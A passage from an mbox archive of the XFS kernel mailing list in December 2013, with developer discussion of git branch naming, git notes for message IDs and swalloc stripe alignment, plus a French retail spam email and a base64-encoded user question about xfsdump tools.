'tip-icluster-factor'. > > I used the "tip" prefix simply because that is what is used in other > trees for branches of this purpose. It's good to be able to just > look at the branch and know from the prefix that it is a feature > branch pending for the next merge window, as opposed to some > development branch we are using to stage other work.... > > I'm open to other suggestions - having an "xfs-" prefix of > some kind is definitely a good idea. Perhaps something like > "xfs-14-..." where the 14 is an indicator of the merge window we are > queuing it for (i.e. 3.14)? That way we end up with "xfs-13-rc6-*" > as the branch prefix for bug fixes that need to be sent to linus in > the 3.13-rc6 cycle.... > > Any other ideas? Just 'xfs-' is good enough IMO. I think that the various topic branches don't have to stay around forever after they have been merged. > > Lets see if I understand correctly (and I'll take some of my own > > advice from above). I'll pull 'tip-icluster-factor' into a local > > branch named 'xfs-refactor-icluster-macros', and merge it into our > > for-next branch along with the other series. This will get them > > into -next, and we can still toss it later if it's not what you > > had in mind. > > Well, ideally when one of us pushes out or appends to a topic > branch, we merge it into for-next at the same time. If we need to > rebase the for-next branch, then we need to discuss it first and > take appropriate actions... Sounds fine. As you pointed out elsewhere in this thread, we probably don't need to rebase for-next very often. > > > Anyway, have a think and discuss - I'm going to push the > > > branches I mentioned above.... > > > > I've been tracking message id and patchwork id in git notes along > > with commits for awhile. I'm hoping this will become useful later > > for cross referencing the list, patchworks, and test results. If > > you wouldn't mind also doing so I'd appreciate it. Maybe it could > > be done with a post-commit script or something. > > There's no notes in the repo of oss.sgi.com, so I'm not sure what > you are doing here. I'm just trying to track the message id along with patchwork id. Maybe later I can script it up so that test results are cross referenced with the list archives. commit c91c46c12768daac8486dff0f74bc52c2ec974cd Author: Christoph Hellwig Date: Mon Nov 18 05:10:52 2013 -0800 xfs: add xfs_setattr_time Split out a xfs_setattr_time helper to share code between truncate and regular setattr similar to xfs_setattr_mode. I might also have another caller growing for this in the near future. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers Notes: X-Patchwork-ID: 6941 Message-Id: <20131118131052.GB21649@infradead.org> > As it is, patchworks is not something I use or want to use. I > capture and track patches with procmail and mutt - I really don't > want to have to use patchworks just to find some arbitrary ID number > that some 3rd party tool generates and add it to notes attached to a > commit. I'm a mutt user as well. I'm not necessarily the biggest fan of patchwork either, but it does turn out to be helpful sometimes. I don't know what your workflow is like. Is there any chance you can get the message id in there? messageid=$(formail -X Message-Id: < $patch | awk '{print $2}') git notes append -m "Message-Id: $messageid" Thanks, Ben From david@fromorbit.com Mon Dec 16 21:39:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DBCB37F3F for ; Mon, 16 Dec 2013 21:39:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 777F8AC003 for ; Mon, 16 Dec 2013 19:39:47 -0800 (PST) X-ASG-Debug-ID: 1387251584-04bdf00fdf9cc50001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dgKlh2dChFFStCrY for ; Mon, 16 Dec 2013 19:39:45 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkVANXGr1J5LHyk/2dsb2JhbABZgwo4gwShIwOPNIVVgRwXdIIlAQEBAwEnExwjBQsIAw4KCSUPBSUDIROHfAcOyCwXFo8DB4MjgRMEmBWSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Dec 2013 14:09:44 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VslVV-0005NK-Qr; Tue, 17 Dec 2013 14:39:41 +1100 Date: Tue, 17 Dec 2013 14:39:41 +1100 From: Dave Chinner To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Message-ID: <20131217033941.GC31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-5-git-send-email-david@fromorbit.com> <20131213120123.GA32749@infradead.org> <20131216231414.GQ1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131216231414.GQ1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1387251585 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143159 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 16, 2013 at 05:14:14PM -0600, Ben Myers wrote: > Hi Gents, > > On Fri, Dec 13, 2013 at 04:01:23AM -0800, Christoph Hellwig wrote: > > Looks good. > > > > Reviewed-by: Christoph Hellwig > > > > Two very minor nitpicks below: > > > > > + int stripe_align; > > > > > > ASSERT(ap->length); > > > > > > mp = ap->ip->i_mount; > > > + > > > + /* stripe alignment for allocation is determined by mount parameters */ > > > + stripe_align = 0; > > > + if (mp->m_swidth && (mp->m_flags & XFS_MOUNT_SWALLOC)) > > > + stripe_align = mp->m_swidth; > > > + else if (mp->m_dalign) > > > + stripe_align = mp->m_dalign; > > > > nipick: I'd either initialize the variable to zero at the point of the > > declaration or do if .. else if .. else here. > > > > > } > > > + > > > + > > > nullfb = *ap->firstblock == NULLFSBLOCK; > > > > Two newlines seem odd here. I'd support one even if that's an unrelated > > change :) > > This is probably not the right thing to do for small files. They will all end > up in the first stripe unit. You're right, it's not the right thing to do for small files. And we don't, because the ap->aeof that triggers aligned allocation only when: /* * Only want to do the alignment at the eof if it is userdata and * allocation length is larger than a stripe unit. */ if (mp->m_dalign && bma->length >= mp->m_dalign && !(bma->flags & XFS_BMAPI_METADATA) && whichfork == XFS_DATA_FORK) { error = xfs_bmap_isaeof(bma, whichfork); if (error) return error; } The requested allocation length is greater than the stripe unit that is configured. So, we never align small files, regardless of the mount option.... > Quoting jpk from > http://lwn.net/Articles/87526/ > " o [XFS] Add support for allocating additional file space in stripe width > sized chunks. A new fstab/mount option, "swalloc" has been defined. If > specified when mounting a striped file system, allocation requests will be > rounded up to a stripe width if the file size is >= stripe width, and the data > is being appended to eof. The 'swalloc' option is "off" by default. " You can find the actual commit in the oss archive tree: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=commitdiff;h=2da28d20c986a1a16e266f9c3e90dd967267f2bd > This feature was likely designed with volume stripes in mind as > opposed to to raid stripes. I'd say go look up PV783527 and see what the problem it was solving was... ;) But regardless, if someone has askked for swalloc, it's because they have an application doing large sequential IO, and when that happens there's no reason not to stripe width align the allocation. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 16 21:54:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6913C7F4E for ; Mon, 16 Dec 2013 21:54:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 487B7304051 for ; Mon, 16 Dec 2013 19:54:09 -0800 (PST) X-ASG-Debug-ID: 1387252447-04cbb041697bae90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id p1pI1SgFCkdyY9hY for ; Mon, 16 Dec 2013 19:54:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAJAIzKr1J5LHyk/2dsb2JhbABZgwqDPLBahVWBHhd0giUBAQEDATocIxAIAw4GBAklDwUlAyETGYdjB8g9FxaOfgUHgyOBEwSYFZIVgz4o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Dec 2013 14:24:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsljQ-0005OS-Q8; Tue, 17 Dec 2013 14:54:04 +1100 Date: Tue, 17 Dec 2013 14:54:04 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131217035404.GD31386@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> <20131213185618.GJ1935@sgi.com> <20131213231401.GZ10988@dastard> <20131216233940.GR1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131216233940.GR1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1387252447 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143159 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 16, 2013 at 05:39:40PM -0600, Ben Myers wrote: > Hi Dave, > > On Sat, Dec 14, 2013 at 10:14:01AM +1100, Dave Chinner wrote: > > On Fri, Dec 13, 2013 at 12:56:18PM -0600, Ben Myers wrote: > > > > Anyway, have a think and discuss - I'm going to push the > > > > branches I mentioned above.... > > > > > > I've been tracking message id and patchwork id in git notes along > > > with commits for awhile. I'm hoping this will become useful later > > > for cross referencing the list, patchworks, and test results. If > > > you wouldn't mind also doing so I'd appreciate it. Maybe it could > > > be done with a post-commit script or something. > > > > There's no notes in the repo of oss.sgi.com, so I'm not sure what > > you are doing here. > > I'm just trying to track the message id along with patchwork id. Maybe later I > can script it up so that test results are cross referenced with the list archives. > > commit c91c46c12768daac8486dff0f74bc52c2ec974cd > Author: Christoph Hellwig > Date: Mon Nov 18 05:10:52 2013 -0800 > > xfs: add xfs_setattr_time > > Split out a xfs_setattr_time helper to share code between truncate and > regular setattr similar to xfs_setattr_mode. I might also have another > caller growing for this in the near future. > > Signed-off-by: Christoph Hellwig > Reviewed-by: Brian Foster > Signed-off-by: Ben Myers > > Notes: > X-Patchwork-ID: 6941 > > Message-Id: <20131118131052.GB21649@infradead.org> There are no notes in the oss repository that I can find. AFAIK, notes stay in the local repo and don't get pushed. Basically, if you want notes to be pushed/pulled, everyone has to use a non-standard repository config to tell git to push/pull refs/notes. Really, if it's necessary information, it should be in the commit message. I've never used message IDs or patchworks IDs in my life, so you can guess how necessary I consider that information to be.... > > As it is, patchworks is not something I use or want to use. I > > capture and track patches with procmail and mutt - I really don't > > want to have to use patchworks just to find some arbitrary ID number > > that some 3rd party tool generates and add it to notes attached to a > > commit. > > I'm a mutt user as well. I'm not necessarily the biggest fan of patchwork > either, but it does turn out to be helpful sometimes. I don't know what your > workflow is like. Is there any chance you can get the message id in there? > > messageid=$(formail -X Message-Id: < $patch | awk '{print $2}') > git notes append -m "Message-Id: $messageid" Doesn't work for my workflow, because I don't keep individual patches around - I pushed everything to mbox format files and then bulk git-am the file. And that still doesn't solve the patchwork id problem, or the fact non standard repo configs are needed to manage it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From pam=news-zetrend.com@mlgnusa.com Mon Dec 16 23:26:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7EB0F7F3F for ; Mon, 16 Dec 2013 23:26:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 638B58F8049 for ; Mon, 16 Dec 2013 21:26:03 -0800 (PST) X-ASG-Debug-ID: 1387257957-04cbb041687be470001-NocioJ Received: from mail6.mlgnusa.com (mail6.mlgnusa.com [194.19.244.213]) by cuda.sgi.com with ESMTP id TBxErLSkHBOL8zHN for ; Mon, 16 Dec 2013 21:25:58 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.213 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=amoQw4sBarwdRj1ebRUuCAaYSHY=; b=lD1RzHtuagyp7SA/ntQUFThirMP0FAsphqtVGEfMgkj+mA7+7YfpUcV76DiBcpGJGe9KfTB3RHw9 sQFQdlgMUM26TxMq2dapZLxdpqhusXY63A8Y5q8tTgS9beLyzq4D7b2RbIwnu4k/smHs2CSKZ8iV QbiLYBhzKJhZFoCEICU= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=NSwx2vhOFgLgnjYu6n5SGYRcfg6iuC6UOahIDfNO5hXvo/TIB6+oc4nehkreTyiXOwsK110kdbqG OPWkZop0Ycn4/wUqDKqRk7vdObgSAiAuE2bTfZ3w+wwTksIPe321SrLUHzR9HXPH/I/HsXTF9Dps 28/UnMjsoOD640ZZQHc=; Received: by mail6.mlgnusa.com id hlvg6e1fblcv for ; Tue, 17 Dec 2013 07:25:57 +0200 (envelope-from ) Date: Tue, 17 Dec 2013 07:01:02 +0200 To: From: 1001 Extensions Reply-To: 1001 Extensions Subject: Promos de Noel : -80% sur toutes les extensions Message-ID: <621c25d183838192fd0c502739be811c@mlgnusa.com> X-ASG-Orig-Subj: Promos de Noel : -80% sur toutes les extensions X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDc2c20fe2d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.c2c20fe2 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.c2c20fe2 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=c2c20fe2&e=d09c0023 List-Unsubscribe: , Sender: "1001 Extensions" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_776faec33be31df98ec2b6e0f16f5ce8" X-Barracuda-Connect: mail6.mlgnusa.com[194.19.244.213] X-Barracuda-Start-Time: 1387257958 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143161 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_776faec33be31df98ec2b6e0f16f5ce8 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit 1001Extensions : http://www.1001extensions.com/?utm_source=Newsletter&utm_medium=email&utm_content=HEADER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 Jusqu'à 10€ de réduction avec le code promo 1001NOEL: http://www.1001extensions.com/?utm_source=Newsletter&utm_medium=email&utm_content=HEADER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS À CLIPS Ajoutez de la longeur et volume à votre chevelure en quelques minutes seulement. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/6-clips?utm_source=Newsletter&utm_medium=email&utm_content=CLIPS-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS ANNEAUX Changez de coiffure durablement et sans risque pour vos cheveux. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/7-anneaux?utm_source=Newsletter&utm_medium=email&utm_content=ANNEAUX-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 EXTENSIONS KERATINE Pour un résultat professionnel qui dure jusqu'à 6 mois. À partir de 34,90€ DÉCOUVRIR: http://www.1001extensions.com/8-keratine?utm_source=Newsletter&utm_medium=email&utm_content=KERATINE-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 TISSAGES Une technique simple et efficace réutilisable plusieurs mois pour un résultat naturel garenti. À partir de 64,90€ DÉCOUVRIR: http://www.1001extensions.com/9-tissages?utm_source=Newsletter&utm_medium=email&utm_content=TISSAGES-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 REJOIGNEZ-NOUS : https://www.facebook.com/1001Extensions?fref=ts?utm_source=Newsletter&utm_medium=email&utm_content=FACEBOOK-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1: https://twitter.com/1001Extensions?utm_source=Newsletter&utm_medium=email&utm_content=TWITTER-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 Tentez de gagner 1 an d'extensions gratuites en vous inscrivant à votre Grand Jeu Concours : http://www.1001extensions.com/modules/hscontestchristmas/contestchristmas.php?p=2&utm_source=Newsletter&utm_medium=email&utm_content=JEU-NEEZZ1&Network=NEEZZ&utm_campaign=NEEZZ1&tracker_id=NEEZZ1 ========================================== Ce courriel a été envoyé par 1001 Extensions à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=c2c20fe2&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=c2c20fe2&ln=fr --b1_776faec33be31df98ec2b6e0f16f5ce8 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit 1001Extensions
    1001extensions
    Jusqu'à 10€ de réduction avec le code promo 1001NOEL
    1001extensions
    1001extensions
    EXTENSIONS À CLIPS

    Ajoutez de la longeur et volume à votre chevelure en quelques minutes seulement.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    EXTENSIONS ANNEAUX

    Changez de coiffure durablement et sans risque pour vos cheveux.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    1001extensions
    1001extensions
    EXTENSIONS KERATINE

    Pour un résultat professionnel qui dure jusqu'à 6 mois.

    À partir de 34,90 DÉCOUVRIR
    1001extensions
    1001extensions
    TISSAGES

    Une technique simple et efficace réutilisable plusieurs mois pour un résultat naturel garenti.

    À partir de 64,90 DÉCOUVRIR
    1001extensions
    1001extensions

    REJOIGNEZ-NOUS

    1001extensions sur facebook1001extensions sur twitter

    Tentez de gagner 1 an d'extensions gratuites
    en vous inscrivant à votre
    Grand Jeu Concours

    1001extensions
    Ce courriel a été envoyé par 1001 Extensions à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_776faec33be31df98ec2b6e0f16f5ce8-- From 289471341@qq.com Tue Dec 17 00:47:11 2013 Return-Path: <289471341@qq.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE1FD7F3F for ; Tue, 17 Dec 2013 00:47:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BFF63304048 for ; Mon, 16 Dec 2013 22:47:11 -0800 (PST) X-ASG-Debug-ID: 1387262828-04cb6c537c7c9b20001-NocioJ Received: from smtpbgbr2.qq.com (smtpbgbr2.qq.com [54.207.22.56]) by cuda.sgi.com with SMTP id vCvDOycb2g7vU4oG for ; Mon, 16 Dec 2013 22:47:08 -0800 (PST) X-Barracuda-Envelope-From: 289471341@qq.com X-Barracuda-Apparent-Source-IP: 54.207.22.56 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1387262771; bh=fWHVD3aeCHCqhP7dRAg7vN+mFuuLp1PRcuGcTwE2Dic=; h=X-QQ-SSF:X-HAS-ATTACH:X-QQ-BUSINESS-ORIGIN:X-Originating-IP: X-QQ-STYLE:X-QQ-mid:From:To:Subject:Mime-Version:Content-Type: Content-Transfer-Encoding:Date:X-Priority:Message-ID:X-QQ-MIME: X-Mailer:X-QQ-Mailer:X-QQ-SENDSIZE; b=M/l3Da2zcDY9GgRAA8HgDcmOti5xSxeLfrRJrtxwNcRDxfGmbs9Hxm3cyzHgEQKP/ GJqemXx8Vk7dh848T+i6/zDCKa8N4Gb0kA56GjrGyMRKn1vmpcnPfowAZR8uEqASjk OQ1XMRwWxhYIJ37DC75SHRMjfgoeHCA5bYIbe5TY= X-QQ-SSF: 000000000000001000000000000000R X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 118.26.138.85 X-QQ-STYLE: X-QQ-mid: webmail539t1387262770t2364150 From: "=?gb18030?B?U3Rvcj8/?=" <289471341@qq.com> To: "=?gb18030?B?eGZz?=" Subject: =?gb18030?B?ob54ZnNfbWV0YWR1bXAgICB4ZnNfbWRyZXN0b3Jl?= =?gb18030?B?ICB4ZnNkdW1wICB4ZnNyZXN0b3Jlob8=?= Mime-Version: 1.0 X-ASG-Orig-Subj: =?gb18030?B?ob54ZnNfbWV0YWR1bXAgICB4ZnNfbWRyZXN0b3Jl?= =?gb18030?B?ICB4ZnNkdW1wICB4ZnNyZXN0b3Jlob8=?= Content-Type: multipart/alternative; boundary="----=_NextPart_52AFF331_08A05160_55303815" Content-Transfer-Encoding: 8Bit Date: Tue, 17 Dec 2013 14:46:09 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbgbr2.qq.com[54.207.22.56] X-Barracuda-Start-Time: 1387262828 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.80 X-Barracuda-Spam-Status: No, SCORE=1.80 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, FROM_STARTS_WITH_NUMS, FROM_STARTS_WITH_NUMS_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143162 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_STARTS_WITH_NUMS From: starts with many numbers -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.72 FROM_STARTS_WITH_NUMS_2 From: starts with many numbers This is a multi-part message in MIME format. ------=_NextPart_52AFF331_08A05160_55303815 Content-Type: text/plain; charset="gb18030" Content-Transfer-Encoding: base64 aGk6DQogICB4ZnNkdW1wIGFuZCB4ZnNfbWV0YWR1bXAgZGlmZmVyZW5jZQ0KIHhmc19tZHJl c3RvcmUgYW5kICB4ZnNyZXN0b3JlIGRpZmZlcmVuY2UNCiAgDQogIA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGhhbmt5 b3U= ------=_NextPart_52AFF331_08A05160_55303815 Content-Type: text/html; charset="gb18030" Content-Transfer-Encoding: base64 PERJVj5oaTo8L0RJVj4NCjxESVY+Jm5ic3A7IHhmc2R1bXAmbmJzcDthbmQgeGZzX21ldGFk dW1wIGRpZmZlcmVuY2U8L0RJVj4NCjxESVY+eGZzX21kcmVzdG9yZSBhbmQgIHhmc3Jlc3Rv cmUgZGlmZmVyZW5jZTwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+Jm5ic3A7PC9E SVY+DQo8RElWPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBUaGFua3lvdTwvRElWPg== ------=_NextPart_52AFF331_08A05160_55303815-- From jeff.liu@oracle.com Tue Dec 17 01:25:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F4017F3F for ; Tue, 17 Dec 2013 01:25:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 663BC304053 for ; Mon, 16 Dec 2013 23:25:38 -0800 (PST) X-ASG-Debug-ID: 1387265137-04cbb041697c2420001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id QqwJr9AvnsmNSPor (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 23:25:37 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBH7PZ2q031776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 17 Dec 2013 07:25:36 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBH7PYXr010863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 17 Dec 2013 07:25:35 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com 